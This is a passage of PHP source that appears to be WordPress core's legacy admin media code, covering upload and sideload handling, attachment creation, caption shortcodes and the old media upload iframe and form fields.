 * @param string  $title   Image title attribute (not used).
 * @param string  $align   Image CSS alignment property.
 * @param string  $url     Image source URL (not used).
 * @param string  $size    Image size (not used).
 * @param string  $alt     Image `alt` attribute (not used).
 * @return string The image HTML markup with caption shortcode.
 */
function image_add_caption( $html, $id, $caption, $title, $align, $url, $size, $alt = '' ) {

	/**
	 * Filters the caption text.
	 *
	 * Note: If the caption text is empty, the caption shortcode will not be appended
	 * to the image HTML when inserted into the editor.
	 *
	 * Passing an empty value also prevents the {@see 'image_add_caption_shortcode'}
	 * Filters from being evaluated at the end of image_add_caption().
	 *
	 * @since 4.1.0
	 *
	 * @param string $caption The original caption text.
	 * @param int    $id      The attachment ID.
	 */
	$caption = apply_filters( 'image_add_caption_text', $caption, $id );

	/**
	 * Filters whether to disable captions.
	 *
	 * Prevents image captions from being appended to image HTML when inserted into the editor.
	 *
	 * @since 2.6.0
	 *
	 * @param bool $bool Whether to disable appending captions. Returning true from the filter
	 *                   will disable captions. Default empty string.
	 */
	if ( empty( $caption ) || apply_filters( 'disable_captions', '' ) ) {
		return $html;
	}

	$id = ( 0 < (int) $id ) ? 'attachment_' . $id : '';

	if ( ! preg_match( '/width=["\']([0-9]+)/', $html, $matches ) ) {
		return $html;
	}

	$width = $matches[1];

	$caption = str_replace( array( "\r\n", "\r" ), "\n", $caption );
	$caption = preg_replace_callback( '/<[a-zA-Z0-9]+(?: [^<>]+>)*/', '_cleanup_image_add_caption', $caption );

	// Convert any remaining line breaks to <br />.
	$caption = preg_replace( '/[ \n\t]*\n[ \t]*/', '<br />', $caption );

	$html = preg_replace( '/(class=["\'][^\'"]*)align(none|left|right|center)\s?/', '$1', $html );
	if ( empty( $align ) ) {
		$align = 'none';
	}

	$shcode = '[caption id="' . $id . '" align="align' . $align . '" width="' . $width . '"]' . $html . ' ' . $caption . '[/caption]';

	/**
	 * Filters the image HTML markup including the caption shortcode.
	 *
	 * @since 2.6.0
	 *
	 * @param string $shcode The image HTML markup with caption shortcode.
	 * @param string $html   The image HTML markup.
	 */
	return apply_filters( 'image_add_caption_shortcode', $shcode, $html );
}

/**
 * Private preg_replace callback used in image_add_caption().
 *
 * @access private
 * @since 3.4.0
 *
 * @param array $matches Single regex match.
 * @return string Cleaned up HTML for caption.
 */
function _cleanup_image_add_caption( $matches ) {
	// Remove any line breaks from inside the tags.
	return preg_replace( '/[\r\n\t]+/', ' ', $matches[0] );
}

/**
 * Adds image HTML to editor.
 *
 * @since 2.5.0
 *
 * @param string $html
 */
function media_send_to_editor( $html ) {
	?>
	<script type="text/javascript">
	var win = window.dialogArguments || opener || parent || top;
	win.send_to_editor( <?php echo wp_json_encode( $html ); ?> );
	</script>
	<?php
	exit;
}

/**
 * Saves a file submitted from a POST request and create an attachment post for it.
 *
 * @since 2.5.0
 *
 * @param string $file_id   Index of the `$_FILES` array that the file was sent.
 * @param int    $post_id   The post ID of a post to attach the media item to. Required, but can
 *                          be set to 0, creating a media item that has no relationship to a post.
 * @param array  $post_data Optional. Overwrite some of the attachment.
 * @param array  $overrides Optional. Override the wp_handle_upload() behavior.
 * @return int|WP_Error ID of the attachment or a WP_Error object on failure.
 */
function media_handle_upload( $file_id, $post_id, $post_data = array(), $overrides = array( 'test_form' => false ) ) {
	$time = current_time( 'mysql' );
	$post = get_post( $post_id );

	if ( $post ) {
		// The post date doesn't usually matter for pages, so don't backdate this upload.
		if ( 'page' !== $post->post_type && substr( $post->post_date, 0, 4 ) > 0 ) {
			$time = $post->post_date;
		}
	}

	$file = wp_handle_upload( $_FILES[ $file_id ], $overrides, $time );

	if ( isset( $file['error'] ) ) {
		return new WP_Error( 'upload_error', $file['error'] );
	}

	$name = $_FILES[ $file_id ]['name'];
	$ext  = pathinfo( $name, PATHINFO_EXTENSION );
	$name = wp_basename( $name, ".$ext" );

	$url     = $file['url'];
	$type    = $file['type'];
	$file    = $file['file'];
	$title   = sanitize_text_field( $name );
	$content = '';
	$excerpt = '';

	if ( preg_match( '#^audio#', $type ) ) {
		$meta = wp_read_audio_metadata( $file );

		if ( ! empty( $meta['title'] ) ) {
			$title = $meta['title'];
		}

		if ( ! empty( $title ) ) {

			if ( ! empty( $meta['album'] ) && ! empty( $meta['artist'] ) ) {
				/* translators: 1: Audio track title, 2: Album title, 3: Artist name. */
				$content .= sprintf( __( '"%1$s" from %2$s by %3$s.' ), $title, $meta['album'], $meta['artist'] );
			} elseif ( ! empty( $meta['album'] ) ) {
				/* translators: 1: Audio track title, 2: Album title. */
				$content .= sprintf( __( '"%1$s" from %2$s.' ), $title, $meta['album'] );
			} elseif ( ! empty( $meta['artist'] ) ) {
				/* translators: 1: Audio track title, 2: Artist name. */
				$content .= sprintf( __( '"%1$s" by %2$s.' ), $title, $meta['artist'] );
			} else {
				/* translators: %s: Audio track title. */
				$content .= sprintf( __( '"%s".' ), $title );
			}
		} elseif ( ! empty( $meta['album'] ) ) {

			if ( ! empty( $meta['artist'] ) ) {
				/* translators: 1: Audio album title, 2: Artist name. */
				$content .= sprintf( __( '%1$s by %2$s.' ), $meta['album'], $meta['artist'] );
			} else {
				$content .= $meta['album'] . '.';
			}
		} elseif ( ! empty( $meta['artist'] ) ) {

			$content .= $meta['artist'] . '.';

		}

		if ( ! empty( $meta['year'] ) ) {
			/* translators: Audio file track information. %d: Year of audio track release. */
			$content .= ' ' . sprintf( __( 'Released: %d.' ), $meta['year'] );
		}

		if ( ! empty( $meta['track_number'] ) ) {
			$track_number = explode( '/', $meta['track_number'] );

			if ( is_numeric( $track_number[0] ) ) {
				if ( isset( $track_number[1] ) && is_numeric( $track_number[1] ) ) {
					$content .= ' ' . sprintf(
						/* translators: Audio file track information. 1: Audio track number, 2: Total audio tracks. */
						__( 'Track %1$s of %2$s.' ),
						number_format_i18n( $track_number[0] ),
						number_format_i18n( $track_number[1] )
					);
				} else {
					$content .= ' ' . sprintf(
						/* translators: Audio file track information. %s: Audio track number. */
						__( 'Track %s.' ),
						number_format_i18n( $track_number[0] )
					);
				}
			}
		}

		if ( ! empty( $meta['genre'] ) ) {
			/* translators: Audio file genre information. %s: Audio genre name. */
			$content .= ' ' . sprintf( __( 'Genre: %s.' ), $meta['genre'] );
		}

		// Use image exif/iptc data for title and caption defaults if possible.
	} elseif ( str_starts_with( $type, 'image/' ) ) {
		$image_meta = wp_read_image_metadata( $file );

		if ( $image_meta ) {
			if ( trim( $image_meta['title'] ) && ! is_numeric( sanitize_title( $image_meta['title'] ) ) ) {
				$title = $image_meta['title'];
			}

			if ( trim( $image_meta['caption'] ) ) {
				$excerpt = $image_meta['caption'];
			}
		}
	}

	// Construct the attachment array.
	$attachment = array_merge(
		array(
			'post_mime_type' => $type,
			'guid'           => $url,
			'post_parent'    => $post_id,
			'post_title'     => $title,
			'post_content'   => $content,
			'post_excerpt'   => $excerpt,
		),
		$post_data
	);

	// This should never be set as it would then overwrite an existing attachment.
	unset( $attachment['ID'] );

	// Save the data.
	$attachment_id = wp_insert_attachment( $attachment, $file, $post_id, true );

	if ( ! is_wp_error( $attachment_id ) ) {
		/*
		 * Set a custom header with the attachment_id.
		 * Used by the browser/client to resume creating image sub-sizes after a PHP fatal error.
		 */
		if ( ! headers_sent() ) {
			header( 'X-WP-Upload-Attachment-ID: ' . $attachment_id );
		}

		/*
		 * The image sub-sizes are created during wp_generate_attachment_metadata().
		 * This is generally slow and may cause timeouts or out of memory errors.
		 */
		wp_update_attachment_metadata( $attachment_id, wp_generate_attachment_metadata( $attachment_id, $file ) );
	}

	return $attachment_id;
}

/**
 * Handles a side-loaded file in the same way as an uploaded file is handled by media_handle_upload().
 *
 * @since 2.6.0
 * @since 5.3.0 The `$post_id` parameter was made optional.
 *
 * @param string[] $file_array Array that represents a `$_FILES` upload array.
 * @param int      $post_id    Optional. The post ID the media is associated with.
 * @param string   $desc       Optional. Description of the side-loaded file. Default null.
 * @param array    $post_data  Optional. Post data to override. Default empty array.
 * @return int|WP_Error The ID of the attachment or a WP_Error on failure.
 */
function media_handle_sideload( $file_array, $post_id = 0, $desc = null, $post_data = array() ) {
	$overrides = array( 'test_form' => false );

	if ( isset( $post_data['post_date'] ) && substr( $post_data['post_date'], 0, 4 ) > 0 ) {
		$time = $post_data['post_date'];
	} else {
		$post = get_post( $post_id );
		if ( $post && substr( $post->post_date, 0, 4 ) > 0 ) {
			$time = $post->post_date;
		} else {
			$time = current_time( 'mysql' );
		}
	}

	$file = wp_handle_sideload( $file_array, $overrides, $time );

	if ( isset( $file['error'] ) ) {
		return new WP_Error( 'upload_error', $file['error'] );
	}

	$url     = $file['url'];
	$type    = $file['type'];
	$file    = $file['file'];
	$title   = preg_replace( '/\.[^.]+$/', '', wp_basename( $file ) );
	$content = '';

	// Use image exif/iptc data for title and caption defaults if possible.
	$image_meta = wp_read_image_metadata( $file );

	if ( $image_meta ) {
		if ( trim( $image_meta['title'] ) && ! is_numeric( sanitize_title( $image_meta['title'] ) ) ) {
			$title = $image_meta['title'];
		}

		if ( trim( $image_meta['caption'] ) ) {
			$content = $image_meta['caption'];
		}
	}

	if ( isset( $desc ) ) {
		$title = $desc;
	}

	// Construct the attachment array.
	$attachment = array_merge(
		array(
			'post_mime_type' => $type,
			'guid'           => $url,
			'post_parent'    => $post_id,
			'post_title'     => $title,
			'post_content'   => $content,
		),
		$post_data
	);

	// This should never be set as it would then overwrite an existing attachment.
	unset( $attachment['ID'] );

	// Save the attachment metadata.
	$attachment_id = wp_insert_attachment( $attachment, $file, $post_id, true );

	if ( ! is_wp_error( $attachment_id ) ) {
		wp_update_attachment_metadata( $attachment_id, wp_generate_attachment_metadata( $attachment_id, $file ) );
	}

	return $attachment_id;
}

/**
 * Outputs the iframe to display the media upload page.
 *
 * @since 2.5.0
 * @since 5.3.0 Formalized the existing and already documented `...$args` parameter
 *              by adding it to the function signature.
 *
 * @global int $body_id
 *
 * @param callable $content_func Function that outputs the content.
 * @param mixed    ...$args      Optional additional parameters to pass to the callback function when it's called.
 */
function wp_iframe( $content_func, ...$args ) {
	_wp_admin_html_begin();
	?>
	<title><?php bloginfo( 'name' ); ?> &rsaquo; <?php _e( 'Uploads' ); ?> &#8212; <?php _e( 'WordPress' ); ?></title>
	<?php

	wp_enqueue_style( 'colors' );
	// Check callback name for 'media'.
	if (
		( is_array( $content_func ) && ! empty( $content_func[1] ) && str_starts_with( (string) $content_func[1], 'media' ) ) ||
		( ! is_array( $content_func ) && str_starts_with( $content_func, 'media' ) )
	) {
		wp_enqueue_style( 'deprecated-media' );
	}

	?>
	<script type="text/javascript">
	addLoadEvent = function(func){if(typeof jQuery!=='undefined')jQuery(function(){func();});else if(typeof wpOnload!=='function'){wpOnload=func;}else{var oldonload=wpOnload;wpOnload=function(){oldonload();func();}}};
	var ajaxurl = '<?php echo esc_js( admin_url( 'admin-ajax.php', 'relative' ) ); ?>', pagenow = 'media-upload-popup', adminpage = 'media-upload-popup',
	isRtl = <?php echo (int) is_rtl(); ?>;
	</script>
	<?php
	/** This action is documented in wp-admin/admin-header.php */
	do_action( 'admin_enqueue_scripts', 'media-upload-popup' );

	/**
	 * Fires when admin styles enqueued for the legacy (pre-3.5.0) media upload popup are printed.
	 *
	 * @since 2.9.0
	 */
	do_action( 'admin_print_styles-media-upload-popup' );  // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

	/** This action is documented in wp-admin/admin-header.php */
	do_action( 'admin_print_styles' );

	/**
	 * Fires when admin scripts enqueued for the legacy (pre-3.5.0) media upload popup are printed.
	 *
	 * @since 2.9.0
	 */
	do_action( 'admin_print_scripts-media-upload-popup' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

	/** This action is documented in wp-admin/admin-header.php */
	do_action( 'admin_print_scripts' );

	/**
	 * Fires when scripts enqueued for the admin header for the legacy (pre-3.5.0)
	 * media upload popup are printed.
	 *
	 * @since 2.9.0
	 */
	do_action( 'admin_head-media-upload-popup' ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

	/** This action is documented in wp-admin/admin-header.php */
	do_action( 'admin_head' );

	if ( is_string( $content_func ) ) {
		/**
		 * Fires in the admin header for each specific form tab in the legacy
		 * (pre-3.5.0) media upload popup.
		 *
		 * The dynamic portion of the hook name, `$content_func`, refers to the form
		 * callback for the media upload type.
		 *
		 * @since 2.5.0
		 */
		do_action( "admin_head_{$content_func}" );
	}

	$body_id_attr = '';

	if ( isset( $GLOBALS['body_id'] ) ) {
		$body_id_attr = ' id="' . $GLOBALS['body_id'] . '"';
	}

	?>
	</head>
	<body<?php echo $body_id_attr; ?> class="wp-core-ui no-js">
	<script type="text/javascript">
	document.body.className = document.body.className.replace('no-js', 'js');
	</script>
	<?php

	call_user_func_array( $content_func, $args );

	/** This action is documented in wp-admin/admin-footer.php */
	do_action( 'admin_print_footer_scripts' );

	?>
	<script type="text/javascript">if(typeof wpOnload==='function')wpOnload();</script>
	</body>
	</html>
	<?php
}

/**
 * Adds the media button to the editor.
 *
 * @since 2.5.0
 *
 * @global int $post_ID
 *
 * @param string $editor_id
 */
function media_buttons( $editor_id = 'content' ) {
	static $instance = 0;
	++$instance;

	$post = get_post();

	if ( ! $post && ! empty( $GLOBALS['post_ID'] ) ) {
		$post = $GLOBALS['post_ID'];
	}

	wp_enqueue_media( array( 'post' => $post ) );

	$img = '<span class="wp-media-buttons-icon"></span> ';

	$id_attribute = 1 === $instance ? ' id="insert-media-button"' : '';

	printf(
		'<button type="button"%s class="button insert-media add_media" data-editor="%s">%s</button>',
		$id_attribute,
		esc_attr( $editor_id ),
		$img . __( 'Add Media' )
	);

	/**
	 * Filters the legacy (pre-3.5.0) media buttons.
	 *
	 * Use {@see 'media_buttons'} action instead.
	 *
	 * @since 2.5.0
	 * @deprecated 3.5.0 Use {@see 'media_buttons'} action instead.
	 *
	 * @param string $string Media buttons context. Default empty.
	 */
	$legacy_filter = apply_filters_deprecated( 'media_buttons_context', array( '' ), '3.5.0', 'media_buttons' );

	if ( $legacy_filter ) {
		// #WP22559. Close <a> if a plugin started by closing <a> to open their own <a> tag.
		if ( 0 === stripos( trim( $legacy_filter ), '</a>' ) ) {
			$legacy_filter .= '</a>';
		}
		echo $legacy_filter;
	}
}

/**
 * Retrieves the upload iframe source URL.
 *
 * @since 3.0.0
 *
 * @global int $post_ID
 *
 * @param string $type    Media type.
 * @param int    $post_id Post ID.
 * @param string $tab     Media upload tab.
 * @return string Upload iframe source URL.
 */
function get_upload_iframe_src( $type = null, $post_id = null, $tab = null ) {
	global $post_ID;

	if ( empty( $post_id ) ) {
		$post_id = $post_ID;
	}

	$upload_iframe_src = add_query_arg( 'post_id', (int) $post_id, admin_url( 'media-upload.php' ) );

	if ( $type && 'media' !== $type ) {
		$upload_iframe_src = add_query_arg( 'type', $type, $upload_iframe_src );
	}

	if ( ! empty( $tab ) ) {
		$upload_iframe_src = add_query_arg( 'tab', $tab, $upload_iframe_src );
	}

	/**
	 * Filters the upload iframe source URL for a specific media type.
	 *
	 * The dynamic portion of the hook name, `$type`, refers to the type
	 * of media uploaded.
	 *
	 * Possible hook names include:
	 *
	 *  - `image_upload_iframe_src`
	 *  - `media_upload_iframe_src`
	 *
	 * @since 3.0.0
	 *
	 * @param string $upload_iframe_src The upload iframe source URL.
	 */
	$upload_iframe_src = apply_filters( "{$type}_upload_iframe_src", $upload_iframe_src );

	return add_query_arg( 'TB_iframe', true, $upload_iframe_src );
}

/**
 * Handles form submissions for the legacy media uploader.
 *
 * @since 2.5.0
 *
 * @return null|array|void Array of error messages keyed by attachment ID, null or void on success.
 */
function media_upload_form_handler() {
	check_admin_referer( 'media-form' );

	$errors = null;

	if ( isset( $_POST['send'] ) ) {
		$keys    = array_keys( $_POST['send'] );
		$send_id = (int) reset( $keys );
	}

	if ( ! empty( $_POST['attachments'] ) ) {
		foreach ( $_POST['attachments'] as $attachment_id => $attachment ) {
			$post  = get_post( $attachment_id, ARRAY_A );
			$_post = $post;

			if ( ! current_user_can( 'edit_post', $attachment_id ) ) {
				continue;
			}

			if ( isset( $attachment['post_content'] ) ) {
				$post['post_content'] = $attachment['post_content'];
			}

			if ( isset( $attachment['post_title'] ) ) {
				$post['post_title'] = $attachment['post_title'];
			}

			if ( isset( $attachment['post_excerpt'] ) ) {
				$post['post_excerpt'] = $attachment['post_excerpt'];
			}

			if ( isset( $attachment['menu_order'] ) ) {
				$post['menu_order'] = $attachment['menu_order'];
			}

			if ( isset( $send_id ) && $attachment_id == $send_id ) {
				if ( isset( $attachment['post_parent'] ) ) {
					$post['post_parent'] = $attachment['post_parent'];
				}
			}

			/**
			 * Filters the attachment fields to be saved.
			 *
			 * @since 2.5.0
			 *
			 * @see wp_get_attachment_metadata()
			 *
			 * @param array $post       An array of post data.
			 * @param array $attachment An array of attachment metadata.
			 */
			$post = apply_filters( 'attachment_fields_to_save', $post, $attachment );

			if ( isset( $attachment['image_alt'] ) ) {
				$image_alt = wp_unslash( $attachment['image_alt'] );

				if ( get_post_meta( $attachment_id, '_wp_attachment_image_alt', true ) !== $image_alt ) {
					$image_alt = wp_strip_all_tags( $image_alt, true );

					// update_post_meta() expects slashed.
					update_post_meta( $attachment_id, '_wp_attachment_image_alt', wp_slash( $image_alt ) );
				}
			}

			if ( isset( $post['errors'] ) ) {
				$errors[ $attachment_id ] = $post['errors'];
				unset( $post['errors'] );
			}

			if ( $post != $_post ) {
				wp_update_post( $post );
			}

			foreach ( get_attachment_taxonomies( $post ) as $t ) {
				if ( isset( $attachment[ $t ] ) ) {
					wp_set_object_terms( $attachment_id, array_map( 'trim', preg_split( '/,+/', $attachment[ $t ] ) ), $t, false );
				}
			}
		}
	}

	if ( isset( $_POST['insert-gallery'] ) || isset( $_POST['update-gallery'] ) ) {
		?>
		<script type="text/javascript">
		var win = window.dialogArguments || opener || parent || top;
		win.tb_remove();
		</script>
		<?php

		exit;
	}

	if ( isset( $send_id ) ) {
		$attachment = wp_unslash( $_POST['attachments'][ $send_id ] );
		$html       = isset( $attachment['post_title'] ) ? $attachment['post_title'] : '';

		if ( ! empty( $attachment['url'] ) ) {
			$rel = '';

			if ( str_contains( $attachment['url'], 'attachment_id' ) || get_attachment_link( $send_id ) === $attachment['url'] ) {
				$rel = " rel='attachment wp-att-" . esc_attr( $send_id ) . "'";
			}

			$html = "<a href='{$attachment['url']}'$rel>$html</a>";
		}

		/**
		 * Filters the HTML markup for a media item sent to the editor.
		 *
		 * @since 2.5.0
		 *
		 * @see wp_get_attachment_metadata()
		 *
		 * @param string $html       HTML markup for a media item sent to the editor.
		 * @param int    $send_id    The first key from the $_POST['send'] data.
		 * @param array  $attachment Array of attachment metadata.
		 */
		$html = apply_filters( 'media_send_to_editor', $html, $send_id, $attachment );

		return media_send_to_editor( $html );
	}

	return $errors;
}

/**
 * Handles the process of uploading media.
 *
 * @since 2.5.0
 *
 * @return null|string
 */
function wp_media_upload_handler() {
	$errors = array();
	$id     = 0;

	if ( isset( $_POST['html-upload'] ) && ! empty( $_FILES ) ) {
		check_admin_referer( 'media-form' );
		// Upload File button was clicked.
		$id = media_handle_upload( 'async-upload', $_REQUEST['post_id'] );
		unset( $_FILES );

		if ( is_wp_error( $id ) ) {
			$errors['upload_error'] = $id;
			$id                     = false;
		}
	}

	if ( ! empty( $_POST['insertonlybutton'] ) ) {
		$src = $_POST['src'];

		if ( ! empty( $src ) && ! strpos( $src, '://' ) ) {
			$src = "http://$src";
		}

		if ( isset( $_POST['media_type'] ) && 'image' !== $_POST['media_type'] ) {
			$title = esc_html( wp_unslash( $_POST['title'] ) );
			if ( empty( $title ) ) {
				$title = esc_html( wp_basename( $src ) );
			}

			if ( $title && $src ) {
				$html = "<a href='" . esc_url( $src ) . "'>$title</a>";
			}

			$type = 'file';
			$ext  = preg_replace( '/^.+?\.([^.]+)$/', '$1', $src );

			if ( $ext ) {
				$ext_type = wp_ext2type( $ext );
				if ( 'audio' === $ext_type || 'video' === $ext_type ) {
					$type = $ext_type;
				}
			}

			/**
			 * Filters the URL sent to the editor for a specific media type.
			 *
			 * The dynamic portion of the hook name, `$type`, refers to the type
			 * of media being sent.
			 *
			 * Possible hook names include:
			 *
			 *  - `audio_send_to_editor_url`
			 *  - `file_send_to_editor_url`
			 *  - `video_send_to_editor_url`
			 *
			 * @since 3.3.0
			 *
			 * @param string $html  HTML markup sent to the editor.
			 * @param string $src   Media source URL.
			 * @param string $title Media title.
			 */
			$html = apply_filters( "{$type}_send_to_editor_url", $html, sanitize_url( $src ), $title );
		} else {
			$align = '';
			$alt   = esc_attr( wp_unslash( $_POST['alt'] ) );

			if ( isset( $_POST['align'] ) ) {
				$align = esc_attr( wp_unslash( $_POST['align'] ) );
				$class = " class='align$align'";
			}

			if ( ! empty( $src ) ) {
				$html = "<img src='" . esc_url( $src ) . "' alt='$alt'$class />";
			}

			/**
			 * Filters the image URL sent to the editor.
			 *
			 * @since 2.8.0
			 *
			 * @param string $html  HTML markup sent to the editor for an image.
			 * @param string $src   Image source URL.
			 * @param string $alt   Image alternate, or alt, text.
			 * @param string $align The image alignment. Default 'alignnone'. Possible values include
			 *                      'alignleft', 'aligncenter', 'alignright', 'alignnone'.
			 */
			$html = apply_filters( 'image_send_to_editor_url', $html, sanitize_url( $src ), $alt, $align );
		}

		return media_send_to_editor( $html );
	}

	if ( isset( $_POST['save'] ) ) {
		$errors['upload_notice'] = __( 'Saved.' );
		wp_enqueue_script( 'admin-gallery' );

		return wp_iframe( 'media_upload_gallery_form', $errors );

	} elseif ( ! empty( $_POST ) ) {
		$return = media_upload_form_handler();

		if ( is_string( $return ) ) {
			return $return;
		}

		if ( is_array( $return ) ) {
			$errors = $return;
		}
	}

	if ( isset( $_GET['tab'] ) && 'type_url' === $_GET['tab'] ) {
		$type = 'image';

		if ( isset( $_GET['type'] ) && in_array( $_GET['type'], array( 'video', 'audio', 'file' ), true ) ) {
			$type = $_GET['type'];
		}

		return wp_iframe( 'media_upload_type_url_form', $type, $errors, $id );
	}

	return wp_iframe( 'media_upload_type_form', 'image', $errors, $id );
}

/**
 * Downloads an image from the specified URL, saves it as an attachment, and optionally attaches it to a post.
 *
 * @since 2.6.0
 * @since 4.2.0 Introduced the `$return_type` parameter.
 * @since 4.8.0 Introduced the 'id' option for the `$return_type` parameter.
 * @since 5.3.0 The `$post_id` parameter was made optional.
 * @since 5.4.0 The original URL of the attachment is stored in the `_source_url`
 *              post meta value.
 * @since 5.8.0 Added 'webp' to the default list of allowed file extensions.
 *
 * @param string $file        The URL of the image to download.
 * @param int    $post_id     Optional. The post ID the media is to be associated with.
 * @param string $desc        Optional. Description of the image.
 * @param string $return_type Optional. Accepts 'html' (image tag html) or 'src' (URL),
 *                            or 'id' (attachment ID). Default 'html'.
 * @return string|int|WP_Error Populated HTML img tag, attachment ID, or attachment source
 *                             on success, WP_Error object otherwise.
 */
function media_sideload_image( $file, $post_id = 0, $desc = null, $return_type = 'html' ) {
	if ( ! empty( $file ) ) {

		$allowed_extensions = array( 'jpg', 'jpeg', 'jpe', 'png', 'gif', 'webp' );

		/**
		 * Filters the list of allowed file extensions when sideloading an image from a URL.
		 *
		 * The default allowed extensions are:
		 *
		 *  - `jpg`
		 *  - `jpeg`
		 *  - `jpe`
		 *  - `png`
		 *  - `gif`
		 *  - `webp`
		 *
		 * @since 5.6.0
		 * @since 5.8.0 Added 'webp' to the default list of allowed file extensions.
		 *
		 * @param string[] $allowed_extensions Array of allowed file extensions.
		 * @param string   $file               The URL of the image to download.
		 */
		$allowed_extensions = apply_filters( 'image_sideload_extensions', $allowed_extensions, $file );
		$allowed_extensions = array_map( 'preg_quote', $allowed_extensions );

		// Set variables for storage, fix file filename for query strings.
		preg_match( '/[^\?]+\.(' . implode( '|', $allowed_extensions ) . ')\b/i', $file, $matches );

		if ( ! $matches ) {
			return new WP_Error( 'image_sideload_failed', __( 'Invalid image URL.' ) );
		}

		$file_array         = array();
		$file_array['name'] = wp_basename( $matches[0] );

		// Download file to temp location.
		$file_array['tmp_name'] = download_url( $file );

		// If error storing temporarily, return the error.
		if ( is_wp_error( $file_array['tmp_name'] ) ) {
			return $file_array['tmp_name'];
		}

		// Do the validation and storage stuff.
		$id = media_handle_sideload( $file_array, $post_id, $desc );

		// If error storing permanently, unlink.
		if ( is_wp_error( $id ) ) {
			@unlink( $file_array['tmp_name'] );
			return $id;
		}

		// Store the original attachment source in meta.
		add_post_meta( $id, '_source_url', $file );

		// If attachment ID was requested, return it.
		if ( 'id' === $return_type ) {
			return $id;
		}

		$src = wp_get_attachment_url( $id );
	}

	// Finally, check to make sure the file has been saved, then return the HTML.
	if ( ! empty( $src ) ) {
		if ( 'src' === $return_type ) {
			return $src;
		}

		$alt  = isset( $desc ) ? esc_attr( $desc ) : '';
		$html = "<img src='$src' alt='$alt' />";

		return $html;
	} else {
		return new WP_Error( 'image_sideload_failed' );
	}
}

/**
 * Retrieves the legacy media uploader form in an iframe.
 *
 * @since 2.5.0
 *
 * @return string|null
 */
function media_upload_gallery() {
	$errors = array();

	if ( ! empty( $_POST ) ) {
		$return = media_upload_form_handler();

		if ( is_string( $return ) ) {
			return $return;
		}

		if ( is_array( $return ) ) {
			$errors = $return;
		}
	}

	wp_enqueue_script( 'admin-gallery' );
	return wp_iframe( 'media_upload_gallery_form', $errors );
}

/**
 * Retrieves the legacy media library form in an iframe.
 *
 * @since 2.5.0
 *
 * @return string|null
 */
function media_upload_library() {
	$errors = array();

	if ( ! empty( $_POST ) ) {
		$return = media_upload_form_handler();

		if ( is_string( $return ) ) {
			return $return;
		}
		if ( is_array( $return ) ) {
			$errors = $return;
		}
	}

	return wp_iframe( 'media_upload_library_form', $errors );
}

/**
 * Retrieves HTML for the image alignment radio buttons with the specified one checked.
 *
 * @since 2.7.0
 *
 * @param WP_Post $post
 * @param string  $checked
 * @return string
 */
function image_align_input_fields( $post, $checked = '' ) {

	if ( empty( $checked ) ) {
		$checked = get_user_setting( 'align', 'none' );
	}

	$alignments = array(
		'none'   => __( 'None' ),
		'left'   => __( 'Left' ),
		'center' => __( 'Center' ),
		'right'  => __( 'Right' ),
	);

	if ( ! array_key_exists( (string) $checked, $alignments ) ) {
		$checked = 'none';
	}

	$output = array();

	foreach ( $alignments as $name => $label ) {
		$name     = esc_attr( $name );
		$output[] = "<input type='radio' name='attachments[{$post->ID}][align]' id='image-align-{$name}-{$post->ID}' value='$name'" .
			( $checked == $name ? " checked='checked'" : '' ) .
			" /><label for='image-align-{$name}-{$post->ID}' class='align image-align-{$name}-label'>$label</label>";
	}

	return implode( "\n", $output );
}

/**
 * Retrieves HTML for the size radio buttons with the specified one checked.
 *
 * @since 2.7.0
 *
 * @param WP_Post     $post
 * @param bool|string $check
 * @return array
 */
function image_size_input_fields( $post, $check = '' ) {
	/**
	 * Filters the names and labels of the default image sizes.
	 *
	 * @since 3.3.0
	 *
	 * @param string[] $size_names Array of image size labels keyed by their name. Default values
	 *                             include 'Thumbnail', 'Medium', 'Large', and 'Full Size'.
	 */
	$size_names = apply_filters(
		'image_size_names_choose',
		array(
			'thumbnail' => __( 'Thumbnail' ),
			'medium'    => __( 'Medium' ),
			'large'     => __( 'Large' ),
			'full'      => __( 'Full Size' ),
		)
	);

	if ( empty( $check ) ) {
		$check = get_user_setting( 'imgsize', 'medium' );
	}

	$output = array();

	foreach ( $size_names as $size => $label ) {
		$downsize = image_downsize( $post->ID, $size );
		$checked  = '';

		// Is this size selectable?
		$enabled = ( $downsize[3] || 'full' === $size );
		$css_id  = "image-size-{$size}-{$post->ID}";

		// If this size is the default but that's not available, don't select it.
		if ( $size == $check ) {
			if ( $enabled ) {
				$checked = " checked='checked'";
			} else {
				$check = '';
			}
		} elseif ( ! $check && $enabled && 'thumbnail' !== $size ) {
			/*
			 * If $check is not enabled, default to the first available size
			 * that's bigger than a thumbnail.
			 */
			$check   = $size;
			$checked = " checked='checked'";
		}

		$html = "<div class='image-size-item'><input type='radio' " . disabled( $enabled, false, false ) . "name='attachments[$post->ID][image-size]' id='{$css_id}' value='{$size}'$checked />";

		$html .= "<label for='{$css_id}'>$label</label>";

		// Only show the dimensions if that choice is available.
		if ( $enabled ) {
			$html .= " <label for='{$css_id}' class='help'>" . sprintf( '(%d&nbsp;&times;&nbsp;%d)', $downsize[1], $downsize[2] ) . '</label>';
		}
		$html .= '</div>';

		$output[] = $html;
	}

	return array(
		'label' => __( 'Size' ),
		'input' => 'html',
		'html'  => implode( "\n", $output ),
	);
}

/**
 * Retrieves HTML for the Link URL buttons with the default link type as specified.
 *
 * @since 2.7.0
 *
 * @param WP_Post $post
 * @param string  $url_type
 * @return string
 */
function image_link_input_fields( $post, $url_type = '' ) {

	$file = wp_get_attachment_url( $post->ID );
	$link = get_attachment_link( $post->ID );

	if ( empty( $url_type ) ) {
		$url_type = get_user_setting( 'urlbutton', 'post' );
	}

	$url = '';

	if ( 'file' === $url_type ) {
		$url = $file;
	} elseif ( 'post' === $url_type ) {
		$url = $link;
	}

	return "
	<input type='text' class='text urlfield' name='attachments[$post->ID][url]' value='" . esc_attr( $url ) . "' /><br />
	<button type='button' class='button urlnone' data-link-url=''>" . __( 'None' ) . "</button>
	<button type='button' class='button urlfile' data-link-url='" . esc_url( $file ) . "'>" . __( 'File URL' ) . "</button>
	<button type='button' class='button urlpost' data-link-url='" . esc_url( $link ) . "'>" . __( 'Attachment Post URL' ) . '</button>
';
}

/**
 * Outputs a textarea element for inputting an attachment caption.
 *
 * @since 3.4.0
 *
 * @param WP_Post $edit_post Attachment WP_Post object.
 * @return string HTML markup for the textarea element.
 */
function wp_caption_input_textarea( $edit_post ) {
	// Post data is already escaped.
	$name = "attachments[{$edit_post->ID}][post_excerpt]";

